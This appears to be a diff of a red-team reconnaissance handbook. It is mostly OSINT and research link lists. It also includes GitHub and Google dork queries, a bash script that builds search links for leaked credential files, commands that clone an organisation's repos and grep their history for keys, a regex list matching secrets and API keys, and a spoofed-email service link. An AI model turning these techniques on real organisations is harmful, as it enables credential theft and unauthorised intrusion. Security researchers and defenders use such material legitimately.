- [Business Source](https://www.ebscohost.com/academic/business-source-complete)
|
||||
- [Bureau Van Dijk](https://www.bvdinfo.com/)
|
||||
- [Canadian Business Research](https://www.canada.ca/en/services/business/research.html)
|
||||
- [Central and Eastern European Business Directory](https://www.ceebd.co.uk/ceebd)
|
||||
- [Company Registration Round the World](https://www.commercial-register.sg.ch/home/worldwide.html)
|
||||
- [Company Research Resources by Country Comparably](https://www.comparably.com/)
|
||||
- [CompeteShark](https://competeshark.com/)
|
||||
- [Corporate Information](https://www.corporateinformation.com/)
|
||||
- [CrunchBase](https://www.crunchbase.com/)
|
||||
- [Europages](https://www.europages.co.uk/)
|
||||
- [European Business Register](https://www.ebr.org/)
|
||||
- [Ezilon](https://www.ezilon.com/)
|
||||
- [Factiva](https://global.factiva.com/)
|
||||
- [Glassdoor](https://www.glassdoor.com/)
|
||||
- [globalEdge](https://globaledge.msu.edu/)
|
||||
- [GuideStar](https://www.guidestar.org/)
|
||||
- [Hoovers](https://www.hoovers.com/)
|
||||
- [Inc. 5000](https://www.inc.com/inc5000)
|
||||
- [iSpionage](https://www.ispionage.com/)
|
||||
- [Knowledge guide to international company registration](https://www.icaew.com/en/library/subject-gateways/business-management/company-administration/knowledge-guide-international-company-registration)
|
||||
- [Linkedin](https://www.linkedin.com/)
|
||||
- [National Company Registers](https://en.wikipedia.org/wiki/List_of_company_registers)
|
||||
- [Mergent Intellect](https://www.mergentintellect.com/)
|
||||
- [Mergent Online](https://www.mergentonline.com/login.php)
|
||||
- [Notablist](https://www.notablist.com/)
|
||||
- [Orbis directory](https://orbisdirectory.bvdinfo.com/version-20161014/OrbisDirectory/Companies)
|
||||
- [opencorporates](https://opencorporates.com/)
|
||||
- [Owler](https://www.owler.com/)
|
||||
- [Overseas Company Registers](https://www.gov.uk/government/publications/overseas-registries/overseas-registries)
|
||||
- [Scoot](https://www.scoot.co.uk/)
|
||||
- [SEMrush](https://www.semrush.com/)
|
||||
- [Serpstat](https://serpstat.com/)
|
||||
- [Forbes Global 2000](https://www.forbes.com/global2000/)
|
||||
- [Vault](https://www.vault.com/)
|
||||
- [Xing](https://www.xing.com/)
|
||||
@@ -0,0 +1,5 @@
|
||||
- Tools
|
||||
- [Ahmia](https://ahmia.fi/)
|
||||
- [OnionLink](https://onion.link/)
|
||||
- [List of 30 unusual Web search engines](https://www.deepwebsiteslinks.com/page/2/)
|
||||
- [Quora list of unusual Web sites](https://www.quora.com/What-are-some-cool-dark-web-websites/)
|
||||
@@ -0,0 +1,48 @@
|
||||
- Research
|
||||
- [Accuranker](https://www.accuranker.com/)
|
||||
- [ahrefs](https://ahrefs.com/)
|
||||
- [Bing Webmaster Tools](https://www.bing.com/toolbox/webmaster)
|
||||
- [Central Ops](https://centralops.net/)
|
||||
- [DNSDumpster](https://dnsdumpster.com/)
|
||||
- [DNSStuff](https://www.dnsstuff.com/)
|
||||
- [DNS Trail](https://dnstrails.com/)
|
||||
- [DNSViz](https://dnsviz.net/)
|
||||
- [Domain Big Data](https://domainbigdata.com/)
|
||||
- [Domain Dossier](https://centralops.net/co/DomainDossier.aspx)
|
||||
- [Domain Tools](https://whois.domaintools.com/)
|
||||
- [Easy whois](https://www.easywhois.com/)
|
||||
- [Follow.net](https://follow.net/)
|
||||
- [GraphyStories](https://app.graphystories.com/)
|
||||
- [Infosniper](https://www.infosniper.net/)
|
||||
- [intoDNS](https://www.intodns.com/)
|
||||
- [IP Location](https://www.iplocation.net/)
|
||||
- [IPFingerprints](https://www.ipfingerprints.com/)
|
||||
- [IPVoid](https://www.ipvoid.com/)
|
||||
- [NetworkTools](https://network-tools.com/)
|
||||
- [Majestic](https://majestic.com/)
|
||||
- [Netcraft Site Report](https://toolbar.netcraft.com/site_report?url=undefined#last_reboot)
|
||||
- [OpenLinkProfiler](https://www.openlinkprofiler.org/ratelimit/domain.com)
|
||||
- [Open Site Explorer](https://moz.com/researchtools/ose)
|
||||
- [Pentest-Tools.com](https://pentest-tools.com/information-gathering/google-hacking)
|
||||
- [Quick Sprout](https://www.quicksprout.com/)
|
||||
- [RedirectDetective](https://redirectdetective.com/)
|
||||
- [Remote DNS Lookup](https://remote.12dt.com/)
|
||||
- [Robtex](https://www.robtex.com/)
|
||||
- [SEMrush](https://www.semrush.com/)
|
||||
- [SEOTools for Excel](https://seotoolsforexcel.com/)
|
||||
- [Similar Web](https://www.similarweb.com/)
|
||||
- [StatsCrop](https://www.statscrop.com/)
|
||||
- [TCPIPUTILS.com](https://www.tcpiputils.com/)
|
||||
- [URLVoid](https://www.urlvoid.com/)
|
||||
- [WebMeUp](https://webmeup.com/)
|
||||
- [Website Informer](https://website.informer.com/)
|
||||
- [WhatIsMyIPAddress](https://whatismyipaddress.com/)
|
||||
- [Who.is](https://who.is/)
|
||||
- [Whois Arin Online](https://whois.arin.net/)
|
||||
- [WhoIsHostingThis](https://www.whoishostingthis.com/)
|
||||
- [Whoisology](https://whoisology.com/)
|
||||
- [WhoIsRequest](https://whoisrequest.com/)
|
||||
- [w3snoop](https://webboar.com.w3snoop.com/)
|
||||
- [Verisign](https://dnssec-debugger.verisignlabs.com/)
|
||||
- [ViewDNS.info](https://viewdns.info/)
|
||||
- [You Get Signal](https://www.yougetsignal.com/)
|
||||
@@ -0,0 +1,40 @@
|
||||
|
||||
- Determine which email provider an org is using
|
||||
- `dig +short <email_domain> MX`0
|
||||
- Send spoofed email
|
||||
- [Emkei's Mailer](https://emkei.cz/)
|
||||
- Management
|
||||
- [ActiveInbox](https://www.activeinboxhq.com/)
|
||||
- [AutoHotkey](https://www.autohotkey.com/)
|
||||
- [Batched Inbox](https://www.batchedinbox.com/)
|
||||
- [Block Sender](https://chrome.google.com/webstore/detail/block-sender/bklnjbfcmglhiaoppcckdodanccbelcg)
|
||||
- [Boomerang Mail](https://www.boomeranggmail.com/)
|
||||
- [ClearContext](https://www.clearcontext.com/)
|
||||
- [Cleanfox](https://www.cleanfox.io/)
|
||||
- [CloudMagic](https://cloudmagic.com/)
|
||||
- [FindBigMail](https://www.findbigmail.com/)
|
||||
- [Followupthen](https://www.followupthen.com/)
|
||||
- [Hiver](https://hiverhq.com/)
|
||||
- [Integrated gmail](https://addons.mozilla.org/en-US/firefox/addon/integrated-gmail)
|
||||
- [Mailstore](https://www.mailstore.com/)
|
||||
- [Hubspotsales](https://chrome.google.com/webstore/detail/hubspot-sales/oiiaigjnkhngdbnoookogelabohpglmd?hl=en)
|
||||
- [Minimalist](https://chrome.google.com/webstore/detail/minimalist-for-everything/bmihblnpomgpjkfddepdpdafhhepdbek)
|
||||
- [NudgeMail](https://www.nudgemail.com/)
|
||||
- [Sanebox](https://www.sanebox.com/)
|
||||
- [Send for Gmail](https://chrome.google.com/webstore/detail/send-from-gmail-by-google/pgphcomnlaojlmmcjmiddhdapjpbgeoc)
|
||||
- [Sortd](https://www.sortd.com/)
|
||||
- [Ugly Email](https://uglyemail.com/)
|
||||
- [Wisestamp](https://chrome.google.com/webstore/detail/wisestamp-email-signature/pbcgnkmbeodkmiijjfnliicelkjfcldg)
|
||||
|
||||
- Email Tools
|
||||
- [Email Address Validator](https://www.email-validator.net/)
|
||||
- [Email Format](https://email-format.com/)
|
||||
- [EmailHippo](https://tools.verifyemailaddress.io/)
|
||||
- [Email Hunter](https://emailhunter.co/)
|
||||
- [Have I Been Pwned](https://haveibeenpwned.com/)
|
||||
- [MailTester](https://mailtester.com/testmail.php)
|
||||
- [Pipl](https://pipl.com/)
|
||||
- [TCIPUTILS.com Email Test](https://www.tcpiputils.com/email-test)
|
||||
- [ThatsThem](https://thatsthem.com/reverse-email-lookup)
|
||||
- [Verify Email](https://verify-email.org/)
|
||||
- [VoilaNorbert](https://www.voilanorbert.com/)
|
||||
@@ -0,0 +1,142 @@
|
||||
- Most tools designed to scan Github are targetted at a single repo or organization. This is the opposite of what a red teamer wants: they want to scour *all* repos, including (especially) private repos, for information related to the target organization
|
||||
- [github-subdomains](https://github.com/gwen001/github-subdomains.git)
|
||||
- Scrapes Github for any subdomains of the target.
|
||||
- You'll need many API keys and many runs to complete this method
|
||||
- Github Dorking
|
||||
- [Gdorklinks.sh](https://gist.github.com/jhaddix/1fb7ab2409ab579178d2a79959909b33#file-gdorklinks-sh)
|
||||
- Hugely useful Haddix script to auto-generate Github dorking links
|
||||
- Usage:
|
||||
1. download the script
|
||||
2. `chmod +x Gdorklinks.sh`
|
||||
3. `./Gdorklinks.sh NameOfSomeCompanyMaybe`
|
||||
4. Paste links into browser
|
||||
- Useful queries:
|
||||
- `org:<org_name> password`
|
||||
- `org:<org_name> aws_secret_access_key`
|
||||
- `org:<org_name> aws_key`
|
||||
- `org:<org_name> BEGIN RSA PRIVATE KEY`
|
||||
- `org:<org_name> BEGIN OPENSSH PRIVATE KEY`
|
||||
- `org:<org_name> secret_key`
|
||||
- `org:<org_name> hooks.slack.com/services`
|
||||
- `org:<org_name> sshpass -p`
|
||||
- `org:<org_name> sq0csp`
|
||||
- `org:<org_name> apps.googleusercontent.com`
|
||||
- `org:<org_name> extension:pem key`
|
||||
- Searching Repos for Sensitive Info:
|
||||
1. Download all repos:
|
||||
- `while read p; do git clone www.github.com/<org_name>/$p; done`
|
||||
2. Use the "Useful Grep Regexes" page included in the Necronomicon to search:
|
||||
- `egrep -Ri -f regex_patterns.txt *`
|
||||
3. Search past commits:
|
||||
- `git rev-list --all | xargs git grep "BEGIN [EC|RSA|DSA|OPENSSH] PRIVATE KEY"`
|
||||
- `git rev-list --all | xargs git grep "aws_secret"`
|
||||
- [github-search](https://github.com/gwen001/github-search)
|
||||
- [@th3g3ntelman's "Github and Sensitive Data Exposure"](https://www.youtube.com/watch?v=l0YsEk_59fQ)
|
||||
- Internal packages and libraries
|
||||
- Companies often create internal libraries and packages, some of which accidentally get published
|
||||
- Check for archival: https://www.skypack.dev/
|
||||
- List npm contributors that have access to modify a package:
|
||||
- `npm owner ls <package_name>`
|
||||
|
||||
```BASH
|
||||
#!/bin/bash
|
||||
without_suffix=`echo $1|cut -d . -f1`
|
||||
echo ""
|
||||
echo "************ Github Dork Links (must be logged in) *******************"
|
||||
echo " password"
|
||||
echo "https://github.com/search?q=%22$1%22+password&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+password&type=Code"
|
||||
echo " npmrc _auth"
|
||||
echo "https://github.com/search?q=%22$1%22+npmrc%20_auth&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+npmrc%20_auth&type=Code"
|
||||
echo " dockercfg"
|
||||
echo "https://github.com/search?q=%22$1%22+dockercfg&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+dockercfg&type=Code"
|
||||
echo " pem private"
|
||||
echo "https://github.com/search?q=%22$1%22+pem%20private&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+extension:pem%20private&type=Code"
|
||||
echo " id_rsa"
|
||||
echo "https://github.com/search?q=%22$1%22+id_rsa&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+id_rsa&type=Code"
|
||||
echo " aws_access_key_id"
|
||||
echo "https://github.com/search?q=%22$1%22+aws_access_key_id&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+aws_access_key_id&type=Code"
|
||||
echo " s3cfg"
|
||||
echo "https://github.com/search?q=%22$1%22+s3cfg&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+s3cfg&type=Code"
|
||||
echo " htpasswd"
|
||||
echo "https://github.com/search?q=%22$1%22+htpasswd&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+htpasswd&type=Code"
|
||||
echo " git-credentials"
|
||||
echo "https://github.com/search?q=%22$1%22+git-credentials&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+git-credentials&type=Code"
|
||||
echo " bashrc password"
|
||||
echo "https://github.com/search?q=%22$1%22+bashrc%20password&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+bashrc%20password&type=Code"
|
||||
echo " sshd_config"
|
||||
echo "https://github.com/search?q=%22$1%22+sshd_config&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+sshd_config&type=Code"
|
||||
echo " xoxp OR xoxb OR xoxa"
|
||||
echo "https://github.com/search?q=%22$1%22+xoxp%20OR%20xoxb%20OR%20xoxa&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+xoxp%20OR%20xoxb&type=Code"
|
||||
echo " SECRET_KEY"
|
||||
echo "https://github.com/search?q=%22$1%22+SECRET_KEY&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+SECRET_KEY&type=Code"
|
||||
echo " client_secret"
|
||||
echo "https://github.com/search?q=%22$1%22+client_secret&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+client_secret&type=Code"
|
||||
echo " sshd_config"
|
||||
echo "https://github.com/search?q=%22$1%22+sshd_config&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+sshd_config&type=Code"
|
||||
echo " github_token"
|
||||
echo "https://github.com/search?q=%22$1%22+github_token&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+github_token&type=Code"
|
||||
echo " api_key"
|
||||
echo "https://github.com/search?q=%22$1%22+api_key&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+api_key&type=Code"
|
||||
echo " FTP"
|
||||
echo "https://github.com/search?q=%22$1%22+FTP&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+FTP&type=Code"
|
||||
echo " app_secret"
|
||||
echo "https://github.com/search?q=%22$1%22+app_secret&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+app_secret&type=Code"
|
||||
echo " passwd"
|
||||
echo "https://github.com/search?q=%22$1%22+passwd&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+passwd&type=Code"
|
||||
echo " s3.yml"
|
||||
echo "https://github.com/search?q=%22$1%22+.env&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+.env&type=Code"
|
||||
echo " .exs"
|
||||
echo "https://github.com/search?q=%22$1%22+.exs&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+.exs&type=Code"
|
||||
echo " beanstalkd.yml"
|
||||
echo "https://github.com/search?q=%22$1%22+beanstalkd.yml&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+beanstalkd.yml&type=Code"
|
||||
echo " deploy.rake"
|
||||
echo "https://github.com/search?q=%22$1%22+deploy.rake&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+deploy.rake&type=Code"
|
||||
echo " mysql"
|
||||
echo "https://github.com/search?q=%22$1%22+mysql&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+mysql&type=Code"
|
||||
echo " credentials"
|
||||
echo "https://github.com/search?q=%22$1%22+credentials&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+credentials&type=Code"
|
||||
echo " PWD"
|
||||
echo "https://github.com/search?q=%22$1%22+PWD&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+PWD&type=Code"
|
||||
echo " deploy.rake"
|
||||
echo "https://github.com/search?q=%22$1%22+deploy.rake&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+deploy.rake&type=Code"
|
||||
echo " .bash_history"
|
||||
echo "https://github.com/search?q=%22$1%22+.bash_history&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+.bash_history&type=Code"
|
||||
echo " .sls"
|
||||
echo "https://github.com/search?q=%22$1%22+.sls&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+PWD&type=Code"
|
||||
echo " secrets"
|
||||
echo "https://github.com/search?q=%22$1%22+secrets&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+secrets&type=Code"
|
||||
echo " composer.json"
|
||||
echo "https://github.com/search?q=%22$1%22+composer.json&type=Code"
|
||||
echo "https://github.com/search?q=%22$without_suffix%22+composer.json&type=Code"
|
||||
```
|
||||
@@ -0,0 +1,75 @@
|
||||
```
|
||||
^.*_rsa$
|
||||
^.*_dsa$
|
||||
^.*_ed25519$
|
||||
^.*_ecdsa$
|
||||
\.?ssh/config$
|
||||
^key(pair)?$
|
||||
^\.?(bash_|zsh_|sh_|z)?history$
|
||||
^\.?mysql_history$
|
||||
^\.?psql_history$
|
||||
^\.?pgpass$
|
||||
^\.?irb_history$
|
||||
\.?purple/accounts\.xml$
|
||||
\.?xchat2?/servlist_?\.conf$
|
||||
\.?irssi/config$
|
||||
\.?recon-ng/keys\.db$
|
||||
^\.?dbeaver-data-sources.xml$
|
||||
^\.?muttrc$
|
||||
^\.?s3cfg$
|
||||
\.?aws/credentials$
|
||||
^sftp-config(\.json)?$
|
||||
^\.?trc$
|
||||
^\.?(bash|zsh|csh)rc$
|
||||
^\.?(bash_|zsh_)?profile$
|
||||
^\.?(bash_|zsh_)?aliases$
|
||||
config(\.inc)?\.php$
|
||||
^key(store|ring)$
|
||||
^kdbx?$
|
||||
^sql(dump)?$
|
||||
^\.?htpasswd$
|
||||
^(\.|_)?netrc$
|
||||
\.?gem/credentials$
|
||||
^\.?tugboat$
|
||||
doctl/config.yaml$
|
||||
^\.?git-credentials$
|
||||
config/hub$
|
||||
^\.?gitconfig$
|
||||
\.?chef/(.*)\.pem$
|
||||
etc/shadow$
|
||||
etc/passwd$
|
||||
^\.?dockercfg$
|
||||
^\.?npmrc$
|
||||
^\.?env$
|
||||
-----BEGIN [EC|RSA|DSA|OPENSSH] PRIVATE KEY----
|
||||
(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}
|
||||
(("|'|`)?((?i)aws)?_?((?i)access)_?((?i)key)?_?((?i)id)?("|'|`)?\\\\s{0,50}(:|=>|=)\\\\s{0,50}("|'|`)?(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}("|'|`)?)
|
||||
(("|'|`)?((?i)aws)?_?((?i)account)_?((?i)id)?("|'|`)?\\\\s{0,50}(:|=>|=)\\\\s{0,50}("|'|`)?[0-9]{4}-?[0-9]{4}-?[0-9]{4}("|'|`)?)
|
||||
(("|'|`)?((?i)aws)?_?((?i)secret)_?((?i)access)?_?((?i)key)?_?((?i)id)?("|'|`)?\\\\s{0,50}(:|=>|=)\\\\s{0,50}("|'|`)?[A-Za-z0-9/+=]{40}("|'|`)?)
|
||||
(("|'|`)?((?i)aws)?_?((?i)session)?_?((?i)token)?("|'|`)?\\\\s{0,50}(:|=>|=)\\\\s{0,50}("|'|`)?[A-Za-z0-9/+=]{16,}("|'|`)?)
|
||||
(?i)artifactory.{0,50}("|'|`)?[a-zA-Z0-9=]{112}("|'|`)?
|
||||
(?i)codeclima.{0,50}("|'|`)?[0-9a-f]{64}("|'|`)?
|
||||
EAACEdEose0cBA[0-9A-Za-z]+
|
||||
(("|'|`)?type("|'|`)?\\\\s{0,50}(:|=>|=)\\\\s{0,50}("|'|`)?service_account("|'|`)?,?)
|
||||
(?:r|s)k_[live|test]_[0-9a-zA-Z]{24}
|
||||
[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com
|
||||
AIza[0-9A-Za-z\\-_]{35}
|
||||
ya29\\.[0-9A-Za-z\\-_]+
|
||||
sk_[live|test]_[0-9a-z]{32}
|
||||
sq0atp-[0-9A-Za-z\-_]{22}
|
||||
sq0csp-[0-9A-Za-z\-_]{43}
|
||||
access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}
|
||||
amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}
|
||||
SK[0-9a-fA-F]{32}
|
||||
key-[0-9a-zA-Z]{32}
|
||||
[0-9a-f]{32}-us[0-9]{12}
|
||||
sshpass -p.*['|"]
|
||||
(https\\://outlook\\.office.com/webhook/[0-9a-f-]{36}\\@)
|
||||
(?i)sauce.{0,50}("|'|`)?[0-9a-f-]{36}("|'|`)?
|
||||
(xox[pboa]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32})
|
||||
https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}
|
||||
(?i)sonar.{0,50}("|'|`)?[0-9a-f]{40}("|'|`)?
|
||||
(?i)hockey.{0,50}("|'|`)?[0-9a-f]{32}("|'|`)?
|
||||
([\w+]{1,24})(://)([^$<]{1})([^\s";]{1,}):([^$<]{1})([^\s";]{1,})@[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,24}([^\s]+)
|
||||
oy2[a-z0-9]{43}
|
||||
```
|
||||
@@ -0,0 +1,39 @@
|
||||
- Search specific website
|
||||
- `site:"linkedin.com" "<company name>"`
|
||||
- `site:s3.amazonaws.com COMPANY_NAME`
|
||||
- Look for string in URL
|
||||
- `inurl:"/course/jumpto.php" site:example.com`
|
||||
- Find string in page title
|
||||
- `intitle:"index of" site:example.com`
|
||||
- Find pages that contain links to a certain page
|
||||
- `link:"https:// en.wikipedia.org/wiki/ReDoS"`
|
||||
- Find pages with a specific file extension
|
||||
- `filetype:log site:example.com`
|
||||
- `site:example.com ext:php`
|
||||
- `site:example.com ext:txt password`
|
||||
- Wildcards - match any character or series of characters in string
|
||||
- `how to hack * using Google`
|
||||
- Force an exact match to a string - use quotes
|
||||
- `"how to hack"`
|
||||
- "OR" operator - match pages with either one of two criteria
|
||||
- `"how to hack" site:(reddit.com | stackoverflow.com)`
|
||||
- `(SQL Injection | SQLi)`
|
||||
- Minus operator - exclude certain search results
|
||||
- `"how to hack websites" -php`
|
||||
- Trademark, Terms of Service, Copyright, & Privacy Policy Recon
|
||||
- You can Google the copyright and terms of service text from a main target to glean related hosts.
|
||||
- `"© 2019 Twitch Interactive, Inc." inurl:twitch`
|
||||
- `"© 2018 Twitch Interactive, Inc." inurl:twitch`
|
||||
- Public Google Drive documents
|
||||
- `site:docs.google.com "<company_name>"`
|
||||
- Documents on documentcloud.org
|
||||
- `site:documentcloud.org "<company_name>"`
|
||||
- Documents uploaded to Scribd
|
||||
- `site:scribd.com "<target_domain>"`
|
||||
- Public PowerPoint presentations
|
||||
- `intext:"<company_name>" filetype:pptx`
|
||||
- Public PDF documents
|
||||
- `intext:"<company_name>" filetype:pdf`
|
||||
- .docx documents on target's website
|
||||
- `intext:"<company_name>" filetype:docx`
|
||||
- Remember to search gist.github.com, pastebin.com, justpaste.it, pastefs.com, codepen.io, etc.
|
||||
@@ -0,0 +1,5 @@
|
||||
- ASNs - Search for IP ranges owned by target company
|
||||
- [bgp.he.net](https://bgp.he.net)
|
||||
- ARIN and RIPE - regional IP address space registries with searchable databases
|
||||
- [ARIN](https://whois.arin.net/ui/query.do)- US Region
|
||||
- [RIPE](https://apps.db.ripe.net/db-web- ui/#/fulltextsearch)- EU, Central Asia
|
||||
@@ -0,0 +1,80 @@
|
||||
- Image search
|
||||
- [Baidu Images](https://image.baidu.com/)
|
||||
- [Bing Images](https://www.bing.com/images)
|
||||
- [Google Image](https://images.google.com/)
|
||||
- [Image Identification Project](https://www.imageidentify.com/)
|
||||
- [TinyEye](https://tineye.com/)
|
||||
- [Yandex Images](https://www.yandex.com/images)
|
||||
|
||||
- Analysis
|
||||
- [FotoForensics](https://www.fotoforensics.com/)
|
||||
- [Ghiro](https://www.getghiro.org/)
|
||||
- [ImpulseAdventure](https://www.impulseadventure.com/photo/jpeg-snoop.html)
|
||||
- [JPEGsnoop](https://github.com/ImpulseAdventure/JPEGsnoop)
|
||||
|
||||
- Stock images
|
||||
- [AlltheFreeStock](https://allthefreestock.com/)
|
||||
- [Death to Stock](https://deathtothestockphoto.com/)
|
||||
- [Freeimages](https://www.freeimages.com/)
|
||||
- [Freestocks.org](https://freestocks.org/)
|
||||
- [Gratisography](https://www.gratisography.com/)
|
||||
- [ISO Republic](https://isorepublic.com/)
|
||||
- [iStockphoto](https://www.istockphoto.com/)
|
||||
- [Kaboompics](https://kaboompics.com/)
|
||||
- [LibreStock](https://librestock.com/)
|
||||
- [Life of Pix](https://www.lifeofpix.com/)
|
||||
- [NegativeSpace](https://negativespace.co/)
|
||||
- [New Old Stock](https://nos.twnsnd.co/)
|
||||
- [Pixabay](https://pixabay.com/)
|
||||
- [Pexels](https://www.pexels.com/)
|
||||
- [Stocksnap](https://stocksnap.io/)
|
||||
- [Shutterstock](https://www.shutterstock.com/)
|
||||
- [tookapic](https://stock.tookapic.com/)
|
||||
- [Unplash](https://unsplash.com/)
|
||||
|
||||
- Video search & tools
|
||||
- [Aol Videos](https://on.aol.com/)
|
||||
- [Bing Videos](https://www.bing.com/?scope=video)
|
||||
- [DailyMotion](https://www.dailymotion.com/)
|
||||
- [Deturl](https://deturl.com/)
|
||||
- [DownloadHealper](https://www.downloadhelper.net/)
|
||||
- [Earthcam](https://www.earthcam.com/)
|
||||
- [eclips](https://eclips.io/)
|
||||
- [Frame by Frame](https://chrome.google.com/webstore/detail/frame-by-frame-for-youtub/elkadbdicdciddfkdpmaolomehalghio?hl=en-GB)
|
||||
- [Internet Archive: Open Source Videos](https://archive.org/details/opensource_movies)
|
||||
- [LiveLeak](https://www.liveleak.com/)
|
||||
- [Metacafe](https://www.metacafe.com/)
|
||||
- [Metatube](https://www.metatube.com/)
|
||||
- [Veoh](https://www.veoh.com/)
|
||||
- [Vimeo](https://vimeo.com/)
|
||||
- [Yahoo Video Search](https://video.search.yahoo.com/)
|
||||
- [YouTube](https://www.youtube.com/)
|
||||
- [YouTube Data Viewer](https://www.amnestyusa.org/citizenevidence)
|
||||
|
||||
- Radio/Podcasts
|
||||
- [iTunes Podcasts](https://www.apple.com/itunes/podcasts)
|
||||
- [Pocket Casts](https://www.shiftyjelly.com/pocketcasts)
|
||||
- [Podcast Chart](https://www.podcastchart.com/)
|
||||
- [Podkicker](https://play.google.com/store/apps/details?id=ait.podka&hl=en)
|
||||
|
||||
- Image and Photo Editing
|
||||
- [Apple Photos](https://www.apple.com/osx/photos)
|
||||
- [Befunky](https://www.befunky.com/)
|
||||
- [Canvas Prints](https://www.thecanvasprints.co.uk/photoeditor)
|
||||
- [Croppola](https://croppola.com/)
|
||||
- [Fotor](https://www.fotor.com/)
|
||||
- [Gimp](https://www.gimp.org/)
|
||||
- [Image Tricks Lite](https://itunes.apple.com/us/app/image-tricks-lite/id403735824?mt=12)
|
||||
- [Irfanview](https://www.irfanview.com/)
|
||||
- [Lunapic](https://www124.lunapic.com/editor)
|
||||
- [Paint.NET](https://www.getpaint.net/index.html)
|
||||
- [Photoshop](https://www.photoshop.com/)
|
||||
- [PicMoneky](https://www.picmonkey.com/)
|
||||
- [Pixlr](https://pixlr.com/)
|
||||
- [Polarr](https://www.polarr.co/)
|
||||
- [SumoPaint](https://www.sumopaint.com/)
|
||||
- [TinyPNG](https://tinypng.com/)
|
||||
|
||||
- OSINT Educational Videos
|
||||
- [Data to Go](https://www.youtube.com/watch?v=_YRs28yBYuI)
|
||||
- [Amazing mind reader reveals his ‘gift’](https://www.youtube.com/watch?v=F7pYHN9iC9I)
|
||||
@@ -0,0 +1,58 @@
|
||||
- Investigations
|
||||
- [411 (US)](https://www.411.com/)
|
||||
- [Alumni.net](https://www.alumni.net/)
|
||||
- [Ancestry](https://www.ancestry.com/)
|
||||
- [Charlie App](https://charlieapp.com/)
|
||||
- [CrunchBase](https://www.crunchbase.com/)
|
||||
- [Data 24-7](https://www.data24-7.com/)
|
||||
- [Family Search](https://familysearch.org/)
|
||||
- [Fold3 (US Military Records)](https://www.fold3.com/)
|
||||
- [Forebears](https://forebears.io/)
|
||||
- [Genealogy Bank](https://www.genealogybank.com/)
|
||||
- [Kompass](https://www.kompass.com/)
|
||||
- [MelissaDATA](https://www.melissadata.com/lookups/peoplefinder.asp)
|
||||
- [The National Archives (UK)](https://www.nationalarchives.gov.uk/)
|
||||
- [PeekYou](https://www.peekyou.com/)
|
||||
- [People Search (Australia)](https://www.peoplesearch.com.au/)
|
||||
- [Pipl](https://pipl.com/)
|
||||
- [Recruitem](https://recruitin.net/)
|
||||
- [Rootsweb](https://home.rootsweb.ancestry.com/)
|
||||
- [SearchBug](https://www.searchbug.com/)
|
||||
- [Skip Ease](https://www.skipease.com/)
|
||||
- [SnoopStation](https://snoopstation.com/)
|
||||
- [Spokeo](https://www.spokeo.com/)
|
||||
- [That’sThem](https://thatsthem.com/)
|
||||
- [USSearch](https://www.ussearch.com/)
|
||||
- [Zabasearch](https://www.zabasearch.com/)
|
||||
|
||||
- Emails
|
||||
- [Email Address Validator](https://www.email-validator.net/)
|
||||
- [Email Format](https://email-format.com/)
|
||||
- [EmailHippo](https://tools.verifyemailaddress.io/)
|
||||
- [Email Hunter](https://emailhunter.co/)
|
||||
- [Have I Been Pwned](https://haveibeenpwned.com/)
|
||||
- [MailTester](https://mailtester.com/testmail.php)
|
||||
- [Pipl](https://pipl.com/)
|
||||
- [TCIPUTILS.com Email Test](https://www.tcpiputils.com/email-test)
|
||||
- [ThatsThem](https://thatsthem.com/reverse-email-lookup)
|
||||
- [Verify Email](https://verify-email.org/)
|
||||
- [VoilaNorbert](https://www.voilanorbert.com/)
|
||||
|
||||
- Expert Search
|
||||
- [Academia](https://academia.edu/)
|
||||
- [CanLaw](https://www.canlaw.com/)
|
||||
- [ExpertiseFinder](https://www.expertisefinder.com/)
|
||||
- [ExpertGuide](https://www.expertguide.com.au/)
|
||||
- [ExpertPages](https://expertpages.com/)
|
||||
- [Experts.com](https://www.experts.com/)
|
||||
- [HARO](https://www.helpareporter.com/)
|
||||
